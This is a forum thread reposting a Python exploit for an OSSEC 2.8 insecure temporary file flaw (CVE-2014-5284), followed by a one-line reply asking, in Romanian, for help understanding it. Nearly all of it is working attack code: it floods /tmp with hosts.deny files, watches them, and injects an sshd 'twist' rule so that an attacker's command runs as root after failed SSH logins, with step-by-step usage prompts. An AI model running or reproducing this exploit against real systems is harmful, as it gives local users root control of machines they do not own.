Active Members akkiliON Posted November 15, 2014 Active Members Report Posted November 15, 2014 #!/usr/bin/python# Exploit Title: ossec 2.8 Insecure Temporary File Creation Vulnerability Privilege Escalation# Date: 14-11-14# Exploit Author: skynet-13# Vendor Homepage: [url=http://www.ossec.net/]OSSEC | Home | Open Source SECurity[/url]# Software Link: [url]https://github.com/ossec/ossec-hids/archive/2.8.1.tar.gz[/url]# Version: OSSEC - 2.8# Tested on: Ubunutu x86_64# CVE : 2014-5284# Created from Research by# Jeff Petersen# Roka Security LLC# [email]jpetersen@rokasecurity.com[/email]# Original info at [url]https://github.com/ossec/ossec-hids/releases/tag/2.8.1[/url]# Run this on target machine and follow instructions to execute command as rootfrom twisted.internet import inotifyfrom twisted.python import filepathfrom twisted.internet import reactorimport osimport optparseimport signalclass HostDenyExploiter(object): def __init__(self, path_to_watch, cmd): self.path = path_to_watch self.notifier = inotify.INotify() self.exploit = cmd def create_files(self): print "==============================================" print "Creating /tmp/hosts.deny.300 through /tmp/hosts.deny.65536 ..." for i in range(300, 65536): filename = "/tmp/hosts.deny.%s" % i f = open(filename, 'w') f.write("") f.close() def watch_files(self): print "==============================================" print "Monitoring tmp for file change...." print "ssh into the system a few times with an incorrect password" print "Then wait for up to 10 mins" print "==============================================" self.notifier.startReading() self.notifier.watch(filepath.FilePath(self.path), callbacks=[self.on_file_change]) def write_exploit_to_file(self, path): print 'Writing exploit to this file' f = open(str(path).split("'")[1], 'w') f.write(' sshd : ALL : twist %s \n' % self.exploit) f.close() print "==============================================" print " ssh in again to execute the command" print "==============================================" print " End Prog." os.kill(os.getpid(), signal.SIGUSR1) def on_file_change(self, watch, path, mask): print 'File: ', str(path).split("'")[1], ' has just been modified' self.notifier.stopReading() self.write_exploit_to_file(path)if __name__ == '__main__': parser = optparse.OptionParser("usage of program \n" + "-c Command to run as root in quotes\n") parser.add_option('-c', dest='cmd', type='string', help='Used to specify a command to run as root') (options, args) = parser.parse_args() cmd = options.cmd if options.cmd is None: print parser.usage exit(0) ex = HostDenyExploiter('/tmp', cmd) ex.create_files() ex.watch_files() reactor.run() exit(0)Source: OSSEC 2.8 - Insecure Temporary File Creation Vulnerability Privilege Escalation Quote
WarLord Posted June 18, 2015 Report Posted June 18, 2015 Ma poate careva ajuta sa inteleg exploitul asta? Quote